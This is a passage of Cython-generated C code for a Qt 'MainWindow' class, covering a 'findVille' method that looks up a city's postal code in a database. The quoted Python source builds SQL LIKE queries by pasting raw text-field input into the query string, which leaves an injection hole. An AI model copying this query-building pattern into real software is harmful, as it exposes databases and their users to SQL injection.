__Pyx_XDECREF(__pyx_t_8); __Pyx_AddTraceback("MainWindow.MainWindow.findNpa", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_fn); __Pyx_XDECREF(__pyx_v_pa); __Pyx_XDECREF(__pyx_v_c); __Pyx_XDECREF(__pyx_v_e); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "MainWindow.py":108 * return * * def findVille(self): # <<<<<<<<<<<<<< * try: * fn = self.R_City.text() */ /* Python wrapper */ static PyObject *__pyx_pw_10MainWindow_10MainWindow_19findVille(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_10MainWindow_10MainWindow_19findVille = {"findVille", (PyCFunction)__pyx_pw_10MainWindow_10MainWindow_19findVille, METH_O, 0}; static PyObject *__pyx_pw_10MainWindow_10MainWindow_19findVille(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("findVille (wrapper)", 0); __pyx_r = __pyx_pf_10MainWindow_10MainWindow_18findVille(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_10MainWindow_10MainWindow_18findVille(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_v_fn = NULL; PyObject *__pyx_v_pa = NULL; PyObject *__pyx_v_c = NULL; PyObject *__pyx_v_e = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; PyObject *__pyx_t_7 = NULL; PyObject *__pyx_t_8 = NULL; int __pyx_t_9; int __pyx_t_10; int __pyx_t_11; char const *__pyx_t_12; PyObject *__pyx_t_13 = NULL; PyObject *__pyx_t_14 = NULL; PyObject *__pyx_t_15 = NULL; PyObject *__pyx_t_16 = NULL; PyObject *__pyx_t_17 = NULL; PyObject *__pyx_t_18 = NULL; __Pyx_RefNannySetupContext("findVille", 0); /* "MainWindow.py":109 * * def findVille(self): * try: # <<<<<<<<<<<<<< * fn = self.R_City.text() * pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) */ { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); __Pyx_XGOTREF(__pyx_t_1); __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_3); /*try:*/ { /* "MainWindow.py":110 * def findVille(self): * try: * fn = self.R_City.text() # <<<<<<<<<<<<<< * pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) * if self.t_ville.getRecord( "nom LIKE '%s' AND pays LIKE '%s'"%(fn , pa )): */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_City); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 110, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_text); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 110, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_5) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 110, __pyx_L3_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 110, __pyx_L3_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_v_fn = __pyx_t_4; __pyx_t_4 = 0; /* "MainWindow.py":111 * try: * fn = self.R_City.text() * pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) # <<<<<<<<<<<<<< * if self.t_ville.getRecord( "nom LIKE '%s' AND pays LIKE '%s'"%(fn , pa )): * c = dict( self.t_ville._data ) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Pays); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 111, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_itemData); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 111, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Pays); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 111, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_currentIndex); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 111, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_8))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_8); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_8, function); } } if (__pyx_t_7) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_8, __pyx_t_7); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 111, __pyx_L3_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 111, __pyx_L3_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_8)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_8); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_8) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 111, __pyx_L3_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_8, __pyx_t_6}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 111, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_8, __pyx_t_6}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 111, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 111, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_8); __pyx_t_8 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_7, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 111, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_v_pa = __pyx_t_4; __pyx_t_4 = 0; /* "MainWindow.py":112 * fn = self.R_City.text() * pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) * if self.t_ville.getRecord( "nom LIKE '%s' AND pays LIKE '%s'"%(fn , pa )): # <<<<<<<<<<<<<< * c = dict( self.t_ville._data ) * self.R_Npa.setText( c['npa'] ) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_t_ville); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 112, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_getRecord); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 112, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyTuple_New(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 112, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_INCREF(__pyx_v_fn); __Pyx_GIVEREF(__pyx_v_fn); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_v_fn); __Pyx_INCREF(__pyx_v_pa); __Pyx_GIVEREF(__pyx_v_pa); PyTuple_SET_ITEM(__pyx_t_5, 1, __pyx_v_pa); __pyx_t_6 = PyUnicode_Format(__pyx_kp_u_nom_LIKE_s_AND_pays_LIKE_s, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 112, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_5) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 112, __pyx_L3_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_6}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 112, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_6}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 112, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_8 = PyTuple_New(1+1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 112, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_8, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_8, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 112, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_9 = __Pyx_PyObject_IsTrue(__pyx_t_4); if (unlikely(__pyx_t_9 < 0)) __PYX_ERR(0, 112, __pyx_L3_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__pyx_t_9) { /* "MainWindow.py":113 * pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) * if self.t_ville.getRecord( "nom LIKE '%s' AND pays LIKE '%s'"%(fn , pa )): * c = dict( self.t_ville._data ) # <<<<<<<<<<<<<< * self.R_Npa.setText( c['npa'] ) * self.R_City.setText( c['nom'] ) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_t_ville); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 113, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_data_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 113, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = PyTuple_New(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 113, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(((PyObject *)(&PyDict_Type)), __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 113, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_v_c = ((PyObject*)__pyx_t_7); __pyx_t_7 = 0; /* "MainWindow.py":114 * if self.t_ville.getRecord( "nom LIKE '%s' AND pays LIKE '%s'"%(fn , pa )): * c = dict( self.t_ville._data ) * self.R_Npa.setText( c['npa'] ) # <<<<<<<<<<<<<< * self.R_City.setText( c['nom'] ) * elif self.t_ville.getRecord( "nom LIKE '%s%c' AND pays LIKE '%s'"%(fn ,'%', pa )): */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Npa); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 114, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setText); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 114, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyDict_GetItem(__pyx_v_c, __pyx_n_u_npa); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 114, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_8))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_8); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_8, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_8, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 114, __pyx_L3_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_8)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_8, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 114, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_8)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_8, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 114, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 114, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_t_5, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 114, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "MainWindow.py":115 * c = dict( self.t_ville._data ) * self.R_Npa.setText( c['npa'] ) * self.R_City.setText( c['nom'] ) # <<<<<<<<<<<<<< * elif self.t_ville.getRecord( "nom LIKE '%s%c' AND pays LIKE '%s'"%(fn ,'%', pa )): * c = dict( self.t_ville._data ) */ __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_City); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 115, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_setText); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 115, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = __Pyx_PyDict_GetItem(__pyx_v_c, __pyx_n_u_nom); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 115, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 115, __pyx_L3_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_8}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 115, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_8}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 115, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 115, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_8); __pyx_t_8 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 115, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "MainWindow.py":112 * fn = self.R_City.text() * pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) * if self.t_ville.getRecord( "nom LIKE '%s' AND pays LIKE '%s'"%(fn , pa )): # <<<<<<<<<<<<<< * c = dict( self.t_ville._data ) * self.R_Npa.setText( c['npa'] ) */ goto __pyx_L11; } /* "MainWindow.py":116 * self.R_Npa.setText( c['npa'] ) * self.R_City.setText( c['nom'] ) * elif self.t_ville.getRecord( "nom LIKE '%s%c' AND pays LIKE '%s'"%(fn ,'%', pa )): # <<<<<<<<<<<<<< * c = dict( self.t_ville._data ) * self.R_Npa.setText( c['npa'] ) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_t_ville); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 116, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_getRecord); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 116, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyTuple_New(3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 116, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_INCREF(__pyx_v_fn); __Pyx_GIVEREF(__pyx_v_fn); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_v_fn); __Pyx_INCREF(__pyx_kp_u__5); __Pyx_GIVEREF(__pyx_kp_u__5); PyTuple_SET_ITEM(__pyx_t_5, 1, __pyx_kp_u__5); __Pyx_INCREF(__pyx_v_pa); __Pyx_GIVEREF(__pyx_v_pa); PyTuple_SET_ITEM(__pyx_t_5, 2, __pyx_v_pa); __pyx_t_8 = PyUnicode_Format(__pyx_kp_u_nom_LIKE_s_c_AND_pays_LIKE_s, __pyx_t_5); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 116, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_5) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 116, __pyx_L3_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_8}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 116, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_8}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 116, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 116, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_8); __pyx_t_8 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 116, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_9 = __Pyx_PyObject_IsTrue(__pyx_t_7); if (unlikely(__pyx_t_9 < 0)) __PYX_ERR(0, 116, __pyx_L3_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; if (__pyx_t_9) { /* "MainWindow.py":117 * self.R_City.setText( c['nom'] ) * elif self.t_ville.getRecord( "nom LIKE '%s%c' AND pays LIKE '%s'"%(fn ,'%', pa )): * c = dict( self.t_ville._data ) # <<<<<<<<<<<<<< * self.R_Npa.setText( c['npa'] ) * self.R_City.setText( c['nom'] ) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_t_ville); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 117, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_data_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 117, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = PyTuple_New(1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 117, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(((PyObject *)(&PyDict_Type)), __pyx_t_7, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 117, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_v_c = ((PyObject*)__pyx_t_6); __pyx_t_6 = 0; /* "MainWindow.py":118 * elif self.t_ville.getRecord( "nom LIKE '%s%c' AND pays LIKE '%s'"%(fn ,'%', pa )): * c = dict( self.t_ville._data ) * self.R_Npa.setText( c['npa'] ) # <<<<<<<<<<<<<< * self.R_City.setText( c['nom'] ) * except Exception as e: */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Npa); if (unlikely(!__pyx_t_7)) 